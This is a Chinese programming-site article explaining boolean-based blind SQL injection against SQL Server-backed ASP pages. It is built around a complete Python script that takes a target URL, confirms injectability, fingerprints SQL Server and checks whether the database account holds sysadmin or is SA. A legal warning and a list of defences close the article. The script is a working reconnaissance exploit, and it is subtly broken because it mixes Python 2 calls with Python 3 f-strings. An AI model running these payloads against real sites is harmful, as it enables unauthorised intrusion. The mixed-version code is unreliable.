首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 更多程式語言 >> 更多程式設計知識

Python 偵測 SQL Injection 並判斷資料庫帳號是否為 SA:盲注利用工具原理解析

     編輯:更多程式設計知識

工具原理

針對帶有 SQL Injection 點的 ASP/ASPX 頁面,透過布林盲注 (Boolean-based Blind) 逐步判斷:

  1. 確認注入點:...id=1 AND 1=1 (正常) vs ...id=1 AND 1=2 (異常),比較頁面特徵字串是否出現。
  2. 確認 SQL Server:AND EXISTS (SELECT * FROM sysobjects) 僅 SQL Server 有此系統表。
  3. 判斷 sysadmin 角色:AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))。
  4. 判斷是否為 sa:AND 'sa'=(SELECT SYSTEM_USER)。

完整 Python 腳本 (Python 2 風格,建議移植至 3)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, urllib, re

def fetch(url):
    try:
        return urllib.urlopen(url).read()
    except Exception as e:
        print(f"[ERROR] Request failed: {e}")
        return ''

def check_injection(base_url, marker):
    url_true = base_url + "%20and%201=1"
    url_false = base_url + "%20and%201=2"
    html_true = fetch(url_true)
    html_false = fetch(url_false)
    if marker in html_true and marker not in html_false:
        print("[INFO] Injection confirmed!")
        return True
    print("[ERROR] Injection not detected.")
    return False

def check_sql_server(base_url, marker):
    url = base_url + "%20and%20exists%20(select%20*%20from%20sysobjects)"
    if marker in fetch(url):
        print("[INFO] Confirmed SQL Server.")
        return True
    print("[ERROR] Not SQL Server.")
    return False

def check_sysadmin(base_url, marker):
    url = base_url + "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"
    if marker in fetch(url):
        print("[INFO] Current user has sysadmin role.")
        return True
    print("[ERROR] No sysadmin role.")
    return False

def check_sa(base_url, marker):
    url = base_url + "%20and%20'sa'=(select%20SYSTEM_USER)"
    if marker in fetch(url):
        print("[SUCCESS] Current user is SA!")
        return True
    print("[ERROR] Current user is NOT SA.")
    return False

def main():
    print("="*60)
    print(" SQL Server Blind Injection SA Detector")
    print("="*60)
    url = raw_input("[INPUT] Target URL (e.g. https://site.com/page.asp?id=1): ").strip()
    if not url:
        print("[ERROR] URL required."); sys.exit(1)
    marker = raw_input("[INPUT] Unique marker string in normal page: ").strip()
    if not marker:
        print("[ERROR] Marker required."); sys.exit(1)
    
    if check_injection(url, marker):
        if check_sql_server(url, marker):
            if check_sysadmin(url, marker):
                check_sa(url, marker)

if __name__ == '__main__':
    main()

安全與法律警示

⚠️ 僅供授權滲透測試/教學用途。 未經書面授權對目標系統進行 SQL Injection 測試屬違法行為 (中國《刑法》第 285 條、第 286 條;國際通用《Computer Fraud and Abuse Act》等)。實務安全審計請使用專業掃描器 (SQLMap、Burp Scanner) 並配合 WAF 規則防禦。

防禦對策

  1. 參數化查詢:所有動態 SQL 必須使用參數化,杜絕字串拼接。
  2. 最小權限原則:Web 應用資料庫帳號**嚴禁使用 sa**,僅授予必要表的 SELECT/INSERT/UPDATE/DELETE。
  3. 錯誤訊息不外洩:生產環境關閉詳細錯誤頁面,統一回傳友善錯誤碼。
  4. WAF/IDS:部署 ModSecurity 核心規則集 (CRS) 攔截常見注入載荷。
  5. 定期代碼審計:靜態分析 (SonarQube、Checkmarx) + 動態掃描 (OWASP ZAP)。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved